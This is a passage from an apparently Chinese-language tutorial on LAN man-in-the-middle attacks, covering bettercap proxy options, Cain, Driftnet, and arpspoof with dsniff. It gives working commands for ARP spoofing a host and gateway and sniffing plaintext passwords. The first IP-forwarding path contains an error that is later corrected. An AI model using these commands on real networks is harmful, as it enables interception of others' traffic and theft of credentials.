--allow-local-connections    Allow direct connections to the proxy instance, default to false.
--no-sslstrip                Disable SSLStrip.
--log-http-response          Log HTTP responses.
--no-http-logs               Suppress HTTP requests and responses logs.
--proxy-module MODULE        Ruby proxy module to load, either a custom file or one of the following: injectcss, injectjs, redirect, injecthtml.
--http-ports PORT1,PORT2     Comma separated list of HTTP ports to redirect to the proxy, default to 80.
--proxy-upstream-address ADDRESS
If set, only requests coming from this server address will be redirected to the HTTP/HTTPS proxies.

HTTPS:

--proxy-https                Enable HTTPS proxy and redirects all HTTPS requests to it, default to false.
--proxy-https-port PORT      Set HTTPS proxy port, default to 8083.
--proxy-pem FILE             Use a custom PEM CA certificate file for the HTTPS proxy, default to /root/.bettercap/bettercap-ca.pem .
--https-ports PORT1,PORT2    Comma separated list of HTTPS ports to redirect to the proxy, default to 443.

CUSTOM:

--custom-proxy ADDRESS       Use a custom HTTP upstream proxy instead of the builtin one.
--custom-proxy-port PORT     Specify a port for the custom HTTP upstream proxy, default to 8080.
--custom-https-proxy ADDRESS Use a custom HTTPS upstream proxy instead of the builtin one.
--custom-https-proxy-port PORT
Specify a port for the custom HTTPS upstream proxy, default to 8083.
--custom-redirection RULE    Apply a custom port redirection, the format of the rule is PROTOCOL ORIGINAL_PORT NEW_PORT. For instance TCP 21 2100 will redirect all TCP traffic going to port 21, to port 2100.

服务器选项:
--httpd                      Enable HTTP server, default to false.
--httpd-port PORT            Set HTTP server port, default to 8081.
--httpd-path PATH            Set HTTP server path, default to ./ .
--dns FILE                   Enable DNS server and use this file as a hosts resolution table.
--dns-port PORT              Set DNS server port, default to 5300.

事实上你使用的不仅仅是一款工具,或许还会使用到arpspoof进行Arp欺骗,mitmproxy拦截HTTP内容并注入你的payload等等。对于我来说,我很讨厌进行一项简单的攻击却需要使用一大堆的工具来进行操作。

Cain

Cain,这个Windows用户会觉得很好用。总之,它功能强大,操作简单。如果你喜欢漂亮的图形界面,Cain就是你很好的选择之一。它不像Ettercap那么多选项,但是很酷也有很多Windows附加功能。

Driftnet

还有为了查看特定内容的专门的嗅探器。Driftnet 能够分析出人们上网看到的图片。

使用 Dsniff 和 Ettercap 快速演示 ARP 欺骗

        在现代的局域网当中,交换式局域网是主流,广播式的局域网已经或者不在存在,以前要嗅探局域网络上传输的信息只需将网卡设置为混合模式,通过捕获数据包的软件,就可以截取。现在交换式以太网或者局域网中,交换机通过查看路由表(不严格的说法)发送信息。要想截获两台主机中传递的信息可以通过 arp 欺骗获得。

在linux下使用arpspoof和dsniff欺骗的操作如下

首先打开linux自带的路由转发功能
编辑 /proc/sys/net/ipv4/ip-forward 文件
echo 1 > /proc/sys/net/ipv4/ip-forward

打开 arpspoof
arpspoof -t 你要欺骗的主机ip地址 网关ip地址(这里你可以定向的你想要的ip地址) &(在后台运行)

打开 dsniff
使用默认的捕获表
dsniff -c -f /usr/share/dsniff/dsniff.services (当然这里你可以自己定制需要捕获端口的规则)
具体写法可以 cat /usr/share/dsniff/dsniff.services 查看编写的规则

首先你应该确定包转发已经开启,不然我们的机器会丢弃所有我们想要嗅探的主机之间的传输,导致服务无响应。
我用的一些工具会自动进行这项工作(比如Ettercap),但是保险起见,你也许会希望自己来做这件事。
根据操作系统的不同,你可以使用如下的命令:
Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
BSD:
sysctl -w net.inet.ip.forwarding=1
现在你的计算机将会转发所有的传输,现在你可以开始ARP欺骗了。

如果想要嗅探一个主机和网关之间的所有传输,并查看它发送到网络上的双向传输的所有数据。
可以使用如下2个命令行:
arpspoof -t 192.168.1.1 192.168.1.2 & >/dev/null
arpspoof -t 192.168.1.2 192.168.1.1 & >/dev/null

“& >/dev/nul”部分是为了使它在终端运行起来更容易,但是为了debug,你可能想要忽略它。

现在你可以使用你想要的任何套件来嗅探连接。新手的话,我推荐使用Dsniff,它支持ARPspoof来嗅探纯文本密码。
用Dsniff开始嗅探,你只需退出到命令窗口并输入:

dsniff
Dsniff找到用户名和密码后,它会将它们显示在屏幕上。
如果你想要查看所有其他传输,我推荐你使用TCPDump或者 Wireshark。如果想要停止ARP欺骗,输入如下命令:
killall arpspoof
这会关闭上面启动的2个 Arpspoof。

http://www.cnblogs.com/lsbs/p/3842679.html http://blog.csdn.net/c465869935/article/details/50900067 http://wxfplane.blog.51cto.com/10720689/1749951/ https://wenku.baidu.com/view/bea211156edb6f1aff001f92.html http://www.vfocus.net/art/20120214/9763.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: